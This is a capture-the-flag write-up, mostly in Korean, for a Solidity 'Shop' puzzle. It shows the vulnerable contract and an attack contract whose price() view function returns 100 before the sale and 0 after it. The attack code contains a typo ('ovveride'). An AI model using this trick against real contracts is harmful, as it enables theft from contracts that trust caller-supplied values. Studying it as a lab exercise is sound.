// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
Сan you get the item from the shop for less than the price asked?
Things that might help:
Shop expects to be used from a Buyer
Understanding restrictions of view functions
더 싸게 가져오면 된다!
price
함수를 attack 컨트랙트에서 정의할 때 isSold가 두 번 바뀌도록하고, price 설정을 100보다 낮게 하면 되지 않을까? 그래서 첫 번째 attack을 했을 때는 price를 100보다 낮게 하고, 두 번째 attack에서는 낮은 가격에 구매할 수 있도록 하면 될 것 같다. 현재 Rinkeby 네트워크가 사라진 상태라서 직접 문제를 풀 수 없는 상황이다. 다른 사람과 답을 한 번 맞춰보자.
pragma solidity ^0.6.0;
import './Shop.sol';
contract ShopAttack is Buyer{
Shop public shop;
constructor(Shop _shop) public {
shop = _shop;
}
function buy() public {
shop.buy();
}
function price() external view ovveride returns (uint) {
return shop.isSold() ? 0 : 100;
}
}
다른 사람이 적은 답은 내가 생각했던 것보다 간결했다. 삼항연산자를 사용해서 isSold
가 true일 때 price 값이 0을 리턴하도록 하고, isSold
가 false일 때 조건에 맞게 price 값을 100으로 만든다. ShopAttack 컨트랙트를 디플로이하고 buy
함수를 호출하면 isSold
가 true로 바뀐 다음 price()
함수를 다시 한 번 호출함으로써 가격이 0원이 된다.
그런데 가격이 0원으로 바뀌고 나서 다시 구매할 때 isSold
가 true이기 때문에 구매하지 못하는 것 아닌가?라고 생각했었는데 문제에서 원하는 것은 그저 price
를 100보다 낮추는 것이기 때문에 이 상태로 조건을 충족해서 통과할 수 있었다.